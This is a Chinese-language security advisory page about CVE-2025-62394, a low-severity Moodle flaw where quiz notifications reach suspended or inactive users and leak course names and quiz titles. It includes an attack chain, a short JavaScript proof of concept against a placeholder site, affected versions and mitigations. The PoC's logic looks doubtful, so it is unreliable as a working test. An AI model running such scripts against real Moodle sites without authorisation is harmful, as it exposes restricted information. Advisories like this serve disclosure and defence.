IPBUF安全漏洞报告
English
CVE-2025-62394 CVSS 4.3 中危

CVE-2025-62394 Moodle测验通知未验证注册状态信息泄露漏洞

披露日期: 2025-10-23

漏洞信息

漏洞编号
CVE-2025-62394
漏洞类型
访问控制/信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Moodle

相关标签

Moodle信息泄露访问控制quiz通知注册状态验证权限绕过中等严重性

漏洞概述

CVE-2025-62394是Moodle平台中的一个中等严重性安全漏洞,CVSS评分4.3。该漏洞源于Moodle在学习测验通知发送时未能正确验证用户的注册状态。具体而言,当系统向用户发送测验相关通知消息时,未能充分检查用户账户是否处于暂停(suspended)或非活跃(inactive)状态。因此,即使是被暂停或已停用的用户账户,仍可能接收到包含课程信息的测验通知消息,从而导致有限的课程信息被泄露。此漏洞主要影响系统的访问控制机制,使得本应被限制访问的用户能够通过通知渠道获取敏感信息。虽然泄露的信息范围有限,但仍然违反了安全边界原则,可能被攻击者利用进行进一步的信息收集或社会工程学攻击。

技术细节

该漏洞属于访问控制验证缺陷,具体表现为Moodle的quiz通知发送机制存在逻辑漏洞。在正常的用户生命周期管理中,被暂停(suspended)或设置为非活跃(inactive)的用户应该被限制接收系统通知,特别是包含课程相关信息的通知。然而,Moodle在quiz模块的notification功能中,直接查询用户信息并发送通知,而没有先对用户的enrolment status进行二次验证。攻击者可以通过创建一个Moodle账户,被管理员暂停后,仍能通过API调用或触发quiz通知的场景接收到包含课程名称、测验标题等信息的通知消息。CVSS向量AV:N/AC:L/PR:L表明攻击者可以通过网络低复杂度攻击,利用低权限账户即可触发此漏洞。机密性影响为低(C:L),因为泄露的信息仅限于有限的课程相关元数据,不包括实际课程内容或用户敏感数据。

攻击链分析

STEP 1
步骤1
攻击者获取或注册一个Moodle平台账户
STEP 2
步骤2
攻击者加入某个课程并参与测验活动
STEP 3
步骤3
管理员发现攻击者行为,将该账户设置为暂停(suspended)状态或标记为非活跃(inactive)
STEP 4
步骤4
系统其他用户完成测验或触发quiz通知事件
STEP 5
步骤5
Moodle系统向所有相关用户发送测验通知,包括已暂停的账户
STEP 6
步骤6
攻击者登录邮箱或消息系统,接收并查看包含课程名称、测验标题等信息的通知消息
STEP 7
步骤7
攻击者利用泄露的课程信息进行进一步侦察或社会工程学攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-62394 PoC - 信息泄露验证 // 此PoC验证暂停用户仍能接收测验通知 const axios = require('axios'); async function verifyCVE202562394() { const targetUrl = 'https://vulnerable-moodle-site.com'; const suspendedUserToken = 'USER_SUSPENDED_TOKEN'; // 步骤1: 尝试用暂停用户身份登录 const loginResponse = await axios.post(`${targetUrl}/login/index.php`, { username: 'suspended_user', password: 'password' }); // 步骤2: 检查是否能获取quiz通知 const quizNotifications = await axios.get( `${targetUrl}/lib/ajax/service.php?sesskey=${suspendedUserToken}&info=core_message_get_messages`, { headers: { 'Authorization': `Bearer ${suspendedUserToken}` } } ); // 步骤3: 检查是否收到课程信息泄露的通知 const leakedData = quizNotifications.data.filter(msg => msg.notification && msg.fullmessage.includes('quiz') ); console.log('Leaked course information:', leakedData); return leakedData.length > 0; } // 漏洞利用条件: // 1. 攻击者拥有或获取一个Moodle账户 // 2. 该账户被暂停但未删除 // 3. 系统存在已发布的quiz verifyCVE202562394();

影响范围

Moodle LMS 4.1.x < 4.1.30
Moodle LMS 4.5.x < 4.5.6
Moodle LMS 5.0.x < 5.0.1

防御指南

临时缓解措施
在官方补丁发布前,可通过临时禁用quiz通知功能或修改notification相关代码,在发送通知前增加用户状态检查来缓解风险。建议管理员暂时限制非活跃用户的通知接收权限,并监控异常的通知投递日志。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表